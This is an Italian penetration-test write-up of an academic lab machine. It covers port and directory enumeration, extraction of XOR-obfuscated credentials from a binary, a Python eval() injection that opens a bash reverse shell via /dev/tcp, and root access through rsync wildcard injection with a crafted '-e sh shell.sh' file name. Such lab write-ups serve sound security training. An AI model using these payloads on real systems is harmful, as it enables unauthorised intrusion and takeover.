

Penetration Test Report (OSCP Style)

Custom Internal Lab

Franco Salvucci

Contents

1	Informazioni sul Target	2
2	Enumerazione	2
2.1	Scoperta del target	2
2.2	Scansione delle porte	2
2.3	Enumerazione Web	2
3	Reverse Engineering	2
3.1	Analisi del binario	2
3.2	Estrazione dei dati	3
3.3	Credenziali ottenute	3
4	Accesso Iniziale	3
4.1	Virtual Host Discovery	3
4.2	Autenticazione	3
4.3	Code Injection	3
5	Post-Exploitation	4
5.1	Stabilizzazione della shell	4
6	Privilege Escalation	4
6.1	Analisi del sistema	4
6.2	Analisi dello script	4
6.3	Sfruttamento	4
7	Proof of Compromise	4
7.1	Root Access	4
8	Conclusioni	5

1 Informazioni sul Target

- **Indirizzo IP:** 10.0.2.5
- **Ambiente:** Laboratorio accademico (Custom Machine)

2 Enumerazione

2.1 Scoperta del target

All'interno della rete locale, il target è stato identificato tramite scansione ARP:

```
nmap -sn 10.0.2.0/24
```

2.2 Scansione delle porte

```
nmap -sC -sV 10.0.2.5
```

Porte aperte:

- 22/tcp – SSH
- 80/tcp – HTTP
- 443/tcp – HTTPS
- 8080, 8081, 8082 – Web services

2.3 Enumerazione Web

Accedendo al servizio HTTP si osserva una pagina di default nginx.

Viene eseguito brute forcing delle directory:

```
gobuster dir -u http://10.0.2.5 \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.
txt
```

Tra i risultati emerge l'endpoint:

```
/connector
```

Il file viene scaricato per analisi:

```
wget http://10.0.2.5/connector
```

3 Reverse Engineering

3.1 Analisi del binario

Il file `connector` è stato analizzato con Ghidra.

Dall'analisi emerge:

- presenza della funzione `cryptHelper`
- confronto con variabili globali

Le variabili globali contengono dati offuscati tramite XOR.

3.2 Estrazione dei dati

I byte sono stati esportati in formato Python e utilizzati per effettuare il de-XOR.

Esempio:

```
[0x30, 0x0d, 0x13, 0x2e, 0x09, ...]
```

3.3 Credenziali ottenute

- Username: developer
- Password: *****

4 Accesso Iniziale

4.1 Virtual Host Discovery

Dall'enumerazione TLS emerge il dominio:

```
robot.vdsi
```

Aggiunto al file hosts:

```
/etc/hosts
```

Enumerazione vhost:

```
gobuster vhost -u http://robot.vdsi -w wordlist
```

Individuato:

- calculator.robot.vdsi

4.2 Autenticazione

Le credenziali precedentemente ottenute permettono l'accesso.

4.3 Code Injection

Analizzando il comportamento dell'applicazione, si sospetta l'utilizzo della funzione `eval()`.

Payload utilizzato:

```
__import__('os').system("bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'")
```

Listener:

```
nc -lvnp 4444
```

Risultato: accesso come utente `blunder`

5 Post-Exploitation

5.1 Stabilizzazione della shell

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

6 Privilege Escalation

6.1 Analisi del sistema

Nel sistema è presente una directory:

```
/backup_container
```

Contiene:

- script backup.sh
- cronjob

6.2 Analisi dello script

Lo script utilizza:

```
rsync -a *
```

Questo comportamento è vulnerabile a wildcard injection.

6.3 Sfruttamento

1. Creazione payload:

```
echo "bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'" > shell.sh
```

2. Creazione file malevolo:

```
touch -- '-e sh shell.sh'
```

3. Attesa esecuzione cron

Listener:

```
nc -lvnp 4444
```

Risultato: shell come root

7 Proof of Compromise

7.1 Root Access

```
whoami  
root
```

8 Conclusioni

La compromissione del sistema è stata possibile grazie alla combinazione di:

- Reverse engineering di un binario esposto
- Vulnerabilità di code injection
- Errata configurazione di script di backup

La catena di attacco richiede competenze intermedie ed evidenzia gravi carenze di sicurezza a livello applicativo e di sistema.